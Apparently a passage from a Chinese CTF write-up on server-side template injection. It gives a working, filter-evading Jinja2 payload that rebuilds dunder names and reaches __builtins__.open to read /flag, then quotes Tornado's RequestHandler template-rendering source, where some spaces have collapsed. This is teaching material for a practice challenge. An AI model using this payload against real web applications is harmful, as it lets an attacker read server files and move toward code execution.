{%%}:语句、控制流,无回显,唯一有个print可以打印像 例:{% if admin %} ... {% endif %} {% for i in range(10) %} ... {% endfor %} {% set a = 'os' %}
{% set po=dict(po=a,p=a)|join%} {#设置po为pop#} {% set a=(()|select|string|list)|attr(po)(24)%} {#{{()|select}}为<generator object select_or_reject at 0x7fbdb99af220>,pop(24)正好时下划线#} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {#设置ini为__init__#} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {#设置glo为__globals__#} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {#设置geti为__getitem__#} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {#设置built为__builtins__#} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{#设置x为q.__ini__.__globals__.__getitem__('__builtins')#} {% set chr=x.chr%} {#提取__builtins__中的chr函数#} {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{#构造文件路径/flag#} {%print(x.open(file).read())%}{#利用__builtins__.open('/flag').read()读取文件内容#}
defrender(self, template_name: str, **kwargs: Any) -> "Future[None]": """Renders the template with the given arguments as the response.
``render()`` calls ``finish()``, so no other output methods can be called after it.
Returns a `.Future` with the same semantics as the one returned by `finish`. Awaiting this `.Future` is optional.
.. versionchanged:: 5.1
Now returns a `.Future` instead of ``None``. """ ifself._finished: raise RuntimeError("Cannot render() after finish()") html = self.render_string(template_name, **kwargs)
defrender_string(self, template_name: str, **kwargs: Any) -> bytes: """Generate the given template with the given arguments.
We return the generated byte string (in utf8). To generate and write a template as a response, use render() above. """ # If no template_path is specified, use the path of the calling file template_path = self.get_template_path() ifnot template_path: frame = sys._getframe(0) web_file = frame.f_code.co_filename while frame.f_code.co_filename == web_file and frame.f_back isnotNone: frame = frame.f_back assert frame.f_code.co_filename isnotNone template_path = os.path.dirname(frame.f_code.co_filename) with RequestHandler._template_loader_lock: if template_path notin RequestHandler._template_loaders: loader = self.create_template_loader(template_path) RequestHandler._template_loaders[template_path] = loader else: loader = RequestHandler._template_loaders[template_path] t = loader.load(template_name) namespace = self.get_template_namespace() namespace.update(kwargs) return t.generate(**namespace)
这里我们只需要注意这一段
1 2 3
if template_path notin RequestHandler._template_loaders: loader = self.create_template_loader(template_path) RequestHandler._template_loaders[template_path] = loader
defget_template_namespace(self) -> Dict[str, Any]: """Returns a dictionary to be used as the default template namespace.
May be overridden by subclasses to add or modify values.
The results of this method will be combined with additional defaults in the `tornado.template` module and keyword arguments to `render` or `render_string`. """ namespace = dict( handler=self, request=self.request, current_user=self.current_user, locale=self.locale, _=self.locale.translate, pgettext=self.locale.pgettext, static_url=self.static_url, xsrf_form_html=self.xsrf_form_html, reverse_url=self.reverse_url, ) namespace.update(self.ui) return namespace